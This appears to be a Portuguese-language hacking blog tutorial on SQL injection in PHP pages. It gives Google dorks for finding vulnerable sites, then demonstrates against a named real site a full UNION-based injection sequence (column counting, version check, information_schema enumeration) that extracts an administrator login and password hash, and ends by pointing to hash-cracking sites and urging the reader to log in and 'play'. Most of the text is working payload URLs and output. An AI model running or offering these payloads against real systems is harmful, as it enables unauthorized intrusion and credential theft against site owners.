SQL Injection em Paginas PHP

Ola pessoal nesse tutorial estarei ensinando como utilizar sql injection avancado em php para pegar usuarios e senhas do banco de dados de sites...

vamos começar encontrando sites vulneraveis pelo google

vc pode usar varios dorks como:

allinurl:nocicias.php?id=
allinurl:n
ews.php?not=
allnurl:index.php?id=

vejamos o seguinte site
http://www.tebol.com.br/saude/home.php?id=34

para verificar se esta vulneravel somente adicionamos uma aspa simples após o id=34 ficando assim

http://www.tebol.com.br/saude/home.php?id=34'

entao o seguinte erro deve aparecer:

Erro: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right
syntax to use near '' ORDER BY data DESC' at line 1

e agora vamos explorar o banco para saber quantas tabelas ele possui

com o comando "group by" como no exemplo:

http://www.tebol.com.br/saude/home.php?id=null+group+by+1

o site carrega normalmente entao vamos aumentando o numero para 2

http://www.tebol.com.br/saude/home.php?id=null+group+by+2http://www.tebol.com.br/saude/home.php?id=null+group+by+3http://www.tebol.com.br/saude/home.php?id=null+group+by+4http://www.tebol.com.br/saude/home.php?id=null+group+by+5 http://www.tebol.com.br/saude/home.php?id=null+group+by+6

continuaremos aumentando o numero

ate que o site exiba um erro neste caso sera na coluna sete vejamos o erro

Erro: Unknown column '7' in 'group statement'

coluna 7 desconhecida , ou seja o site tem sei tabelas no seu banco de dados

entao usaremos union para verificar em que colnas eh que estao as informações que buscamos


http://www.tebol.com.br/saude/home.php?id=null+union+all+select+1,2,3,4,5,6--

entao serao mostradas tres tabelsa que estao as informações mas a que nos interessa vai ser a 2

que eh a que esta em destaque(negrito)

entao vamos ver a versão do mysql pode ser com version() ou @@version somente substituindo no 2


http://www.tebol.com.br/saude/home.php?id=null+union+all+select+1,version(),3,4,5,6--

retorna 5.0.51a-24+lenny2-log entao a versao eh superior a cinco

podemos utilizar information_schema para pegar nomes de tabelas e colunas se fosse inferior entao iriamos ter

que chutar possiveis nomes para as tabelas e colunas


utilizando information_schema: selecionaremos os nomes das tabelas utilizando from information_schema.tables

http://www.tebol.com.br/saude/home.php?id=null+union+all+select+1,table_name,3,4,5,6+from+information_schema.tables+where+table_schema=database()--

no final colocamos a where table_schema=database() para pegar somente as tabelas com dados e nao as com configuraçeos do mysql

o resultado sera a primaira tabela podemos susbtituir table_name por group_concat(table_name)

para ver as colunas das tabelas somente substitua table_name por column_name e information_schema.tables por information_schema.columns

para listar as duas ao mesmo tempo retiro o all depois do union e coloque group_concat(table_name,column_name) no lugar do dois

e no information_schema deixe como .columns.

no nosso caso a tabela com as senhas e logins eh a administracao e as colunas sao usuario e senha entao vamos pegar os login

http://www.tebol.com.br/saude/home.php?id=null+union+all+select+1,group_concat(usuario,senha),3,4,5,6+from+administracao--

ele nos mostrara os resultados juntos entao vamos separalos com dois pontos ( : ) para visualizar melhor para isso coloque ,0x3a, entre usuario e senha

http://www.tebol.com.br/saude/home.php?id=null+union+all+select+1,group_concat(usuario,0x3a,senha),3,4,5,6+from+administracao--

resultado admin:7a3976deba06085c6ca48769766b9d53

us
uario = admin e senha = 7a3976deba06085c6ca48769766b9d53

a senha esta criptografada entao vcs podem usar algum cracker como john the ripper ou sites

sites www.attack-h.org , http://md5crack.com/ , http://hashcrack.com/index.php , http://schwett.com/md5/ , http://www.md5this.com/crack-it-/index.php

ah eh necessario verificar o tipo de hash tmbm....

depois com login e senha ache onde logar e brinque a vontade..


0 comentários: